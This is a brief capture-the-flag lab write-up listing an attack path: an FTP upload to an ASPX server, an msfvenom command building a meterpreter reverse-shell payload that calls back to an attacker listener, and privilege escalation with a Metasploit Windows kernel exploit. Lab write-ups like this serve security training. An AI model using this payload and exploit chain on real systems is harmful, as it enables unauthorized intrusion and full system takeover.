

Attack Path

- > First, do an nmap scan
- > I saw that anonymous ftp login was enabled. I logged in and saw that the web server ran the aspx framework. I also uploaded a text file and saw that I could access it from the browser by going to that url.
- > Generated an aspx payload using command: `msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.2 lport=4444 -f aspx > evil.aspx`
- > placed this payload into the web server and started a reverse shell, but saw that I did not have permissions to access Admin folder or local user (babis) folder.
- > I used exploit suggester in metasploit to see what vulnerable services are running
- > Tried several and saw that `ms14_058_track_popup_menu` created a service that was running with root permissions
- > I migrated to said service and was able to get the root and local flags.